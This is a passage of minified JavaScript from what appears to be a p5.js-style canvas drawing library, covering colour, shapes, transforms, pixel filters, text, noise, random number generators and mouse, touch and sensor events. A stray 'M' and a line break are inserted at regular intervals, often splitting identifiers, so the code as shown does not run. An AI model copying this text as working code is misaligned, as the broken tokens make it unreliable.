new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
